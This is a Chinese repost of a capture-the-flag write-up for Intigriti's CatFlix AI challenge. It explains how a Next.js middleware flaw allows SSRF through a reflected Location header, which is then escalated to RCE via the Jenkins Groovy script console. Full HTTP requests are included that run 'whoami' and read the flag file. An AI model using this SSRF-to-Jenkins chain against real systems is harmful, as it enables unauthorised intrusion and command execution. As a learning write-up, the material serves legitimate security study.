当前位置: 首页 > news >正文

利用Next.js中间件漏洞实现SSRF攻击与RCE

August CTF挑战:利用Next.js中间件中的SSRF漏洞

在Intigriti,我们每月举办基于网络的夺旗挑战赛,以此与安全研究社区互动。本月由@0xblackbird呈现的挑战展示了一个有趣的服务器端请求伪造漏洞,影响了使用Next.js中间件的Web应用程序。

发现阶段

八月的挑战名为CatFlix AI,允许访问者流式传输AI生成的猫视频。从第一眼看来,访问者需要在观看平台上的任何视频之前登录。

技术指纹识别

使用BuiltWith和Wappalyzer等工具,我们可以轻松确定Next.js用于应用程序的前端和后端。

源代码分析

进一步浏览页面,我们还可以找到对源代码的引用。解压缩源代码文件的内容证实了我们最初发现的应用广泛使用Next.js。

NoSQL注入

在位于/src/app/api/auth/register/route.ts的注册API端点中,我们可以在第20行注意到原始用户输入直接连接到MongoDB查询中。

基本NoSQLi利用

然而,经过进一步考虑,我们认为这个NoSQLi无法帮助我们获得文件系统访问权限。

NextJS中间件

我们的下一个主要关注点是middleware.ts文件。这个位于/src/middleware.ts的特殊文件允许开发人员在返回响应之前运行代码。

中间件配置错误

除了安全头之外,中间件似乎还执行一些分析功能。以下代码片段检查是否存在UTM参数之一。当满足此条件时,将返回带有请求头的完整响应。

Next.js中间件的一个未记录功能允许我们让NextResponse.next()处理某些头,包括Location响应头,这可能会触发内部重定向。

利用NextJS中间件中的SSRF

服务器端请求伪造漏洞允许攻击者代表易受攻击的应用程序、服务或服务器请求外部资源。

访问内部资源

由于没有验证,向localhost端口3000发送基本请求可以确认我们可以轻松访问内部服务。

端口扫描

使用Ffuf或Burp Suite等工具,我们可以暴力破解端口号并寻找任何命中。使用此方法,我们可以轻松确定Jenkins CI/CD在端口8080上运行。

将SSRF升级为RCE

从这一点开始的利用很简单,因为Jenkins具有内置的Groovy脚本控制台,允许开发人员评估代码,包括执行系统命令。

命令执行

复制以下请求将在系统上执行whoami:

POST /?utm_source=meta HTTP/2
Host: challenge-0825.intigriti.io
User-Agent: curl/8.14.1
Accept: */*
Location: http://localhost:8080/script
Content-Type: application/x-www-form-urlencoded
Content-Length: 50script=println('whoami'.execute().text)

获取flag

现在我们已确认具有远程代码执行能力,可以开始寻找flag。在大多数情况下,这将保存在系统的项目根目录中。

使用来自先前命令的信息,我们可以制作另一个请求来查看flag.txt文件的内容:

POST /?utm_source=meta HTTP/2
Host: challenge-0825.intigriti.io
User-Agent: curl/8.14.1
Accept: */*
Location: http://localhost:8080/script
Content-Type: application/x-www-form-urlencoded
Content-Length: 50script=println('cat /app/flag.txt'.execute().text)

结论

在许多情况下,未经清理的用户输入直接传递给评估函数调用,这是所有注入攻击的常见根本原因。通过仔细审查服务器端代码,我们能够识别、验证并武器化几个注入漏洞来实现命令执行。
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

http://www.hskmm.com/?act=detail&tid=31857

相关文章:

  • 三级医疗服务体系 (Three Tiers of Care)
  • 2025年瑕疵检测设备厂家最新推荐排行榜,表面瑕疵检测,薄膜瑕疵检测,铝箔瑕疵在线检测,外观瑕疵检测机公司推荐!
  • 2025年冷却塔厂家最新推荐排行榜:高效制冷与稳定性能之选!
  • 牛客2025秋季算法编程训练联赛1
  • 2025 年风淋室厂家选哪家?广州灵洁凭技术专利与全链服务打造净化设备优质之选
  • 251015读书报告
  • MySQL
  • 元推理框架的诞生,是绝对真实的证明,彻底击溃虚无论
  • JAVA8 map flatmap用法
  • Spring bean初始化过程
  • 吴恩达深度学习课程一:神经网络和深度学习 第二周:神经网络基础 课后习题和代码实践
  • 【Windows】如何管理电脑磁盘文件,保持简洁 - 教程
  • 范围综述
  • 低代码软件开发流程
  • 生成器
  • CSP-S模拟30
  • 2025多校冲刺CSP模拟赛5
  • float
  • 读书报告和代码
  • P66实训2
  • 《程序员的修炼之道:从小工到专家》阅读笔记
  • 关于Pytorch深度学习神经网络的读书报告
  • 牛客刷题-Day13
  • 蛋白表达标签:提升重组蛋白研究与生产的关键工具
  • const int *p和int *const p快速区分
  • 二分图、拓扑与欧拉
  • pytorch作业
  • pytorch实验题作业
  • 每日笔记
  • Zhengrui #3346. DINO